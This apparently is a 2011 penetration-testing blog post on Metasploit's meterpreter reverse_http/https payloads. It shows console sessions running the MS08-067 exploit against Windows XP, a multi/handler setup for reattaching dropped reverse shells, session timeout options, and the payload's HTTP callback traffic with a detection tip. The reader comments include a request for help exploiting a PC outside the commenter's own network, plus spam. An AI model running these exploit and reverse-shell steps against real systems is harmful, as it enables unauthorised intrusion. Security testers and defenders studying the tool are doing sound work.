Meterpreters new reverse_http and reverse_https options

So we’ve all been unlucky enough to have a meterpreter session die on us, and then we’ve all been unlucky enough that we cannot re-exploit the box using the same vulnerability for some reason or another.
No one I know in the White Hat scene likes to use any form of persistence with a payload; and you’d be nuts to use the bind_tcp option through fear of leaving it running. (I’ve heard horror stories of teams turning up to perform a test and finding netcat listeners running on the targets from the previous years test!)
On 29th June 2011 HD Moore released a new set of payloads, specifically the windows/meterpreter/reverse_http(s) payloads we’re interested in.
The most interesting thing about these new payloads is that they are no longer tied into a single TCP session; thus, if you’re connection dies they victim will attempt to reconnect to the listener automatically! Sweet!
This is probably even better news for those taking exams such as CHECK Team Leader and the like where wasting time re exploiting a box could be the difference between pass and fail.
And that’s it really, just use it the same way you would with reverse_tcp.
If you’re using exploit/multi/handler make sure to set the payload correctly to re-establish the session.?
Going on from this it’s important to understand when the payload will terminate. We wouldn’t want it to keep connecting back to the attacker for ever. There are some advanced options that we need to be aware of for the reverse_http and reverse_https payloads.

msf exploit(ms08_067_netapi) > show advanced
Payload advanced options (windows/meterpreter/reverse_http):
   Name           : SessionCommunicationTimeout
   Current Setting: 300
   Description    : The number of seconds of no activity before this session should be killed
   Name           : SessionExpirationTimeout
   Current Setting: 604800
   Description    : The number of seconds before this session should be forcible shut down

SessionExpirationTimeout simply tells the payload to terminate regardless of an open connection or not after this amount of time. Default = 1 week
SessionCommunicationTimeout simply tells the payload to terminate itself after a period of not being able to connect back to the attacker. Default = 5 minutes
There is another option (core_shutdown) that tells the payload to terminate if the session is exited through the metasploit console.
The major benefit of using the reverse_http and reverse_https payloads is that they follow the standard HTTP protocol and can traverse proxies.

msf exploit(ms08_067_netapi) > exploit
[*] Started HTTP reverse handler on
*] Automatically detecting the target…
*] Fingerprint: Windows XP – Service Pack 0 / 1 – lang:English
*] Selected Target: Windows XP SP0/SP1 Universal
*] Attempting to trigger the vulnerability…
*] Request received for /INITM…
*] Staging connection for target /INITM received…
*] Patched transport at offset 486516…
*] Patched URL at offset 486248…
*] Patched Expiration Timeout at offset 641856…
*] Patched Communication Timeout at offset 641860…
*] Meterpreter session 3 opened ( -> at 2011-07-07 13:03:20 +0100
meterpreter > pwd
meterpreter >

If you’re unfortunate to have msfconsole die your end simply start the multi/exploit/handler with the correct payload (http/https)

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > exploit
[*] Started HTTP reverse handler on
*] Starting the payload handler…
*] Request received for /CONN_e7LiknUYlilI6RW8/
*] Incoming orphaned session CONN_e7LiknUYlilI6RW8, reattaching…
*] Meterpreter session 1 opened ( -> at 2011-07-07 13:11:00 +0100
meterpreter > pwd

The interesting thing to note here is that this type of attack is going to be relatively easy for sys admins to notice.
Shown here is a sample of how the payload talks back to the attacker:

POST /CONN_e7LiknUYlilI6RW8/ HTTP/1.0
User-Agent: Meterpreter/Windows
Content-Length: 4
Pragma: no-cache
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: close
Server: Rex
Content-Length: 0

Simply monitoring your site inbound/outbound traffic for any user agent along the lines of Meterpreter/Windows should throw up some serious concerns if it’s seen. Unfortunately this should also pretty easy for a blackhat attacker to modify:

root@bt:/pentest/exploits/framework3# find . | xargs grep -i ‘Meterpreter\/Windows’ -s1
./external/source/meterpreter/source/server/server_setup.c-     // Allocate the top-level handle
./external/source/meterpreter/source/server/server_setup.c:     remote->hInternet = InternetOpen("Meterpreter/Windows", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
./external/source/meterpreter/source/server/server_setup.c-     if (!remote->hInternet) {


Category Article

3 Responses to “c0decstuff”

  • robboman says:


    I just found out about you're blog about a hour ago and it's been very very interesting and helpful for me! :)

    I read your blog about meterpreter reverse_http/https sessions ( )

    I have used this kind of payload (java/meterpreter/reverse_http) combined with the java rhino exploit. I can successfully exploit a PC on my network.

    I'm wondering what settings i should use for the lhost and srvhost when I would like to exploit a PC outside of my network. Should i fill in my external IP for the lhost and srvhost? I have a static IP, and port forwarded the necessary ports. I attached a picture to make it a bit more clear what i mean.

    I'm just wondering if i should fill in my external/internal IP for the lhost/srvhost.. I find it kinda confusing lol. I think it should be my external IP, otherwise how would the payload know where to connect too right?

    Thanks for the help, and the amazing blog! :)

  • Great Post!

    A meterpreter is the best way to hack devices

  • افضل شركة تنظيف خزانات ومنازل وشقق بالمدينة المنورة شركة غسيل خزانات ومكافحة حشرات بالمدينة المنورة ونقل عفش بالمدينة المنورة مؤسسة صفوة المدينة
    شركة غسيل خزانات بالمدينة المنورة

What's on Your Mind...

Thank f' u C0mment